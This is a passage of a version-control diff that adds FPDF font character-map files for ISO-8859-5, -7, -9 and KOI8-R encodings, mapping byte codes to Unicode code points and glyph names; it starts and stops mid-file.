+!D5 U+00D5 Otilde
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+00D8 Oslash
+!D9 U+0172 Uogonek
+!DA U+00DA Uacute
+!DB U+00DB Ucircumflex
+!DC U+00DC Udieresis
+!DD U+0168 Utilde
+!DE U+016A Umacron
+!DF U+00DF germandbls
+!E0 U+0101 amacron
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+00E3 atilde
+!E4 U+00E4 adieresis
+!E5 U+00E5 aring
+!E6 U+00E6 ae
+!E7 U+012F iogonek
+!E8 U+010D ccaron
+!E9 U+00E9 eacute
+!EA U+0119 eogonek
+!EB U+00EB edieresis
+!EC U+0117 edotaccent
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+012B imacron
+!F0 U+0111 dcroat
+!F1 U+0146 ncommaaccent
+!F2 U+014D omacron
+!F3 U+0137 kcommaaccent
+!F4 U+00F4 ocircumflex
+!F5 U+00F5 otilde
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+00F8 oslash
+!F9 U+0173 uogonek
+!FA U+00FA uacute
+!FB U+00FB ucircumflex
+!FC U+00FC udieresis
+!FD U+0169 utilde
+!FE U+016B umacron
+!FF U+02D9 dotaccent
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-5.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-5.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-5.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+0401 afii10023
+!A2 U+0402 afii10051
+!A3 U+0403 afii10052
+!A4 U+0404 afii10053
+!A5 U+0405 afii10054
+!A6 U+0406 afii10055
+!A7 U+0407 afii10056
+!A8 U+0408 afii10057
+!A9 U+0409 afii10058
+!AA U+040A afii10059
+!AB U+040B afii10060
+!AC U+040C afii10061
+!AD U+00AD hyphen
+!AE U+040E afii10062
+!AF U+040F afii10145
+!B0 U+0410 afii10017
+!B1 U+0411 afii10018
+!B2 U+0412 afii10019
+!B3 U+0413 afii10020
+!B4 U+0414 afii10021
+!B5 U+0415 afii10022
+!B6 U+0416 afii10024
+!B7 U+0417 afii10025
+!B8 U+0418 afii10026
+!B9 U+0419 afii10027
+!BA U+041A afii10028
+!BB U+041B afii10029
+!BC U+041C afii10030
+!BD U+041D afii10031
+!BE U+041E afii10032
+!BF U+041F afii10033
+!C0 U+0420 afii10034
+!C1 U+0421 afii10035
+!C2 U+0422 afii10036
+!C3 U+0423 afii10037
+!C4 U+0424 afii10038
+!C5 U+0425 afii10039
+!C6 U+0426 afii10040
+!C7 U+0427 afii10041
+!C8 U+0428 afii10042
+!C9 U+0429 afii10043
+!CA U+042A afii10044
+!CB U+042B afii10045
+!CC U+042C afii10046
+!CD U+042D afii10047
+!CE U+042E afii10048
+!CF U+042F afii10049
+!D0 U+0430 afii10065
+!D1 U+0431 afii10066
+!D2 U+0432 afii10067
+!D3 U+0433 afii10068
+!D4 U+0434 afii10069
+!D5 U+0435 afii10070
+!D6 U+0436 afii10072
+!D7 U+0437 afii10073
+!D8 U+0438 afii10074
+!D9 U+0439 afii10075
+!DA U+043A afii10076
+!DB U+043B afii10077
+!DC U+043C afii10078
+!DD U+043D afii10079
+!DE U+043E afii10080
+!DF U+043F afii10081
+!E0 U+0440 afii10082
+!E1 U+0441 afii10083
+!E2 U+0442 afii10084
+!E3 U+0443 afii10085
+!E4 U+0444 afii10086
+!E5 U+0445 afii10087
+!E6 U+0446 afii10088
+!E7 U+0447 afii10089
+!E8 U+0448 afii10090
+!E9 U+0449 afii10091
+!EA U+044A afii10092
+!EB U+044B afii10093
+!EC U+044C afii10094
+!ED U+044D afii10095
+!EE U+044E afii10096
+!EF U+044F afii10097
+!F0 U+2116 afii61352
+!F1 U+0451 afii10071
+!F2 U+0452 afii10099
+!F3 U+0453 afii10100
+!F4 U+0454 afii10101
+!F5 U+0455 afii10102
+!F6 U+0456 afii10103
+!F7 U+0457 afii10104
+!F8 U+0458 afii10105
+!F9 U+0459 afii10106
+!FA U+045A afii10107
+!FB U+045B afii10108
+!FC U+045C afii10109
+!FD U+00A7 section
+!FE U+045E afii10110
+!FF U+045F afii10193
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-7.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-7.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-7.map	(revision 44)
@@ -0,0 +1,250 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+2018 quoteleft
+!A2 U+2019 quoteright
+!A3 U+00A3 sterling
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AF U+2015 afii00208
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+0384 tonos
+!B5 U+0385 dieresistonos
+!B6 U+0386 Alphatonos
+!B7 U+00B7 periodcentered
+!B8 U+0388 Epsilontonos
+!B9 U+0389 Etatonos
+!BA U+038A Iotatonos
+!BB U+00BB guillemotright
+!BC U+038C Omicrontonos
+!BD U+00BD onehalf
+!BE U+038E Upsilontonos
+!BF U+038F Omegatonos
+!C0 U+0390 iotadieresistonos
+!C1 U+0391 Alpha
+!C2 U+0392 Beta
+!C3 U+0393 Gamma
+!C4 U+0394 Delta
+!C5 U+0395 Epsilon
+!C6 U+0396 Zeta
+!C7 U+0397 Eta
+!C8 U+0398 Theta
+!C9 U+0399 Iota
+!CA U+039A Kappa
+!CB U+039B Lambda
+!CC U+039C Mu
+!CD U+039D Nu
+!CE U+039E Xi
+!CF U+039F Omicron
+!D0 U+03A0 Pi
+!D1 U+03A1 Rho
+!D3 U+03A3 Sigma
+!D4 U+03A4 Tau
+!D5 U+03A5 Upsilon
+!D6 U+03A6 Phi
+!D7 U+03A7 Chi
+!D8 U+03A8 Psi
+!D9 U+03A9 Omega
+!DA U+03AA Iotadieresis
+!DB U+03AB Upsilondieresis
+!DC U+03AC alphatonos
+!DD U+03AD epsilontonos
+!DE U+03AE etatonos
+!DF U+03AF iotatonos
+!E0 U+03B0 upsilondieresistonos
+!E1 U+03B1 alpha
+!E2 U+03B2 beta
+!E3 U+03B3 gamma
+!E4 U+03B4 delta
+!E5 U+03B5 epsilon
+!E6 U+03B6 zeta
+!E7 U+03B7 eta
+!E8 U+03B8 theta
+!E9 U+03B9 iota
+!EA U+03BA kappa
+!EB U+03BB lambda
+!EC U+03BC mu
+!ED U+03BD nu
+!EE U+03BE xi
+!EF U+03BF omicron
+!F0 U+03C0 pi
+!F1 U+03C1 rho
+!F2 U+03C2 sigma1
+!F3 U+03C3 sigma
+!F4 U+03C4 tau
+!F5 U+03C5 upsilon
+!F6 U+03C6 phi
+!F7 U+03C7 chi
+!F8 U+03C8 psi
+!F9 U+03C9 omega
+!FA U+03CA iotadieresis
+!FB U+03CB upsilondieresis
+!FC U+03CC omicrontonos
+!FD U+03CD upsilontonos
+!FE U+03CE omegatonos
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-9.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-9.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-9.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+00A1 exclamdown
+!A2 U+00A2 cent
+!A3 U+00A3 sterling
+!A4 U+00A4 currency
+!A5 U+00A5 yen
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AA U+00AA ordfeminine
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+00AF macron
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+00B4 acute
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+00B8 cedilla
+!B9 U+00B9 onesuperior
+!BA U+00BA ordmasculine
+!BB U+00BB guillemotright
+!BC U+00BC onequarter
+!BD U+00BD onehalf
+!BE U+00BE threequarters
+!BF U+00BF questiondown
+!C0 U+00C0 Agrave
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+00C3 Atilde
+!C4 U+00C4 Adieresis
+!C5 U+00C5 Aring
+!C6 U+00C6 AE
+!C7 U+00C7 Ccedilla
+!C8 U+00C8 Egrave
+!C9 U+00C9 Eacute
+!CA U+00CA Ecircumflex
+!CB U+00CB Edieresis
+!CC U+00CC Igrave
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+00CF Idieresis
+!D0 U+011E Gbreve
+!D1 U+00D1 Ntilde
+!D2 U+00D2 Ograve
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+00D5 Otilde
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+00D8 Oslash
+!D9 U+00D9 Ugrave
+!DA U+00DA Uacute
+!DB U+00DB Ucircumflex
+!DC U+00DC Udieresis
+!DD U+0130 Idotaccent
+!DE U+015E Scedilla
+!DF U+00DF germandbls
+!E0 U+00E0 agrave
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+00E3 atilde
+!E4 U+00E4 adieresis
+!E5 U+00E5 aring
+!E6 U+00E6 ae
+!E7 U+00E7 ccedilla
+!E8 U+00E8 egrave
+!E9 U+00E9 eacute
+!EA U+00EA ecircumflex
+!EB U+00EB edieresis
+!EC U+00EC igrave
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+00EF idieresis
+!F0 U+011F gbreve
+!F1 U+00F1 ntilde
+!F2 U+00F2 ograve
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+00F5 otilde
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+00F8 oslash
+!F9 U+00F9 ugrave
+!FA U+00FA uacute
+!FB U+00FB ucircumflex
+!FC U+00FC udieresis
+!FD U+0131 dotlessi
+!FE U+015F scedilla
+!FF U+00FF ydieresis
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/koi8-r.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/koi8-r.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/koi8-r.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+2500 SF100000
+!81 U+2502 SF110000
+!82 U+250C SF010000
+!83 U+2510 SF030000
+!84 U+2514 SF020000
+!85 U+2518 SF040000
+!86 U+251C SF080000
+!87 U+2524 SF090000
+!88 U+252C SF060000
+!89 U+2534 SF070000
+!8A U+253C SF050000
+!8B U+2580 upblock
+!8C U+2584 dnblock
+!8D U+2588 block
+!8E U+258C lfblock
+!8F U+2590 rtblock
+!90 U+2591 ltshade
+!91 U+2592 shade
+!92 U+2593 dkshade
+!93 U+2320 integraltp
+!94 U+25A0 filledbox
+!95 U+2219 periodcentered
+!96 U+221A radical
+!97 U+2248 approxequal
+!98 U+2264 lessequal
+!99 U+2265 greaterequal
+!9A U+00A0 space
+!9B U+2321 integralbt
+!9C U+00B0 degree
+!9D U+00B2 twosuperior
+!9E U+00B7 periodcentered
+!9F U+00F7 divide
+!A0 U+2550 SF430000
+!A1 U+2551 SF240000
+!A2 U+2552 SF510000
+!A3 U+0451 afii10071
+!A4 U+2553 SF520000
+!A5 U+2554 SF390000
+!A6 U+2555 SF220000
+!A7 U+2556 SF210000
+!A8 U+2557 SF250000
+!A9 U+2558 SF500000
+!AA U+2559 SF490000
+!AB U+255A SF380000
+!AC U+255B SF280000
+!AD U+255C SF270000
+!AE U+255D SF260000
+!AF U+255E SF360000
+!B0 U+255F SF370000
+!B1 U+2560 SF420000
+!B2 U+2561 SF190000
+!B3 U+0401 afii10023
+!B4 U+2562 SF200000
+!B5 U+2563 SF230000
+!B6 U+2564 SF470000
+!B7 U+2565 SF480000
+!B8 U+2566 SF410000
+!B9 U+2567 SF450000
+!BA U+2568 SF460000
+!BB U+2569 SF400000
+!BC U+256A SF540000
+!BD U+256B SF530000
+!BE U+256C SF440000
+!BF U+00A9 copyright
+!C0 U+044E afii10096
+!C1 U+0430 afii10065
+!C2 U+0431 afii10066
+!C3 U+0446 afii10088
+!C4 U+0434 afii10069
+!C5 U+0435 afii10070
+!C6 U+0444 afii10086
+!C7 U+0433 afii10068
+!C8 U+0445 afii10087
+!C9 U+0438 afii10074
+!CA U+0439 afii10075
+!CB U+043A afii10076
+!CC U+043B afii10077
+!CD U+043C afii10078
+!CE U+043D afii10079
+!CF U+043E afii10080
+!D0 U+043F afii10081
+!D1 U+044F afii10097
+!D2 U+0440 afii10082
+!D3 U+0441 afii10083
+!D4 U+0442 afii10084
+!D5 U+0443 afii10085
+!D6 U+0436 afii10072
+!D7 U+0432 afii10067
+!D8 U+044C afii10094
+!D9 U+044B afii10093
+!DA U+0437 afii10073
+!DB U+0448 afii10090
+!DC U+044D afii10095
+!DD U+0449 afii10091
+!DE U+0447 afii10089
+!DF U+044A afii10092
+!E0 U+042E afii10048
+!E1 U+0410 afii10017
+!E2 U+0411 afii10018
+!E3 U+0426 afii10040
+!E4 U+0414 afii10021
+!E5 U+0415 afii10022
+!E6 U+0424 afii10038
+!E7 U+0413 afii10020
+!E8 U+0425 afii10039
+!E9 U+0418 afii10026
+!EA U+0419 afii10027
+!EB U+041A afii10028
+!EC U+041B afii10029
+!ED U+041C afii10030
+!EE U+041D afii10031
+!EF U+041E afii10032
+!F0 U+041F afii10033
+!F1 U+042F afii10049
+!F2 U+0420 afii10034
+!F3 U+0421 afii10035
+!F4 U+0422 afii10036
+!F5 U+0423 afii10037
+!F6 U+0416 afii10024
+!F7 U+0412 afii10019
+!F8 U+042C afii10046
+!F9 U+042B afii10045
+!FA U+0417 afii10025
+!FB U+0428 afii10042
+!FC U+042D afii10047
+!FD U+0429 afii10043
+!FE U+0427 afii10041
+!FF U+042A afii10044
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/koi8-u.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/koi8-u.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/koi8-u.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
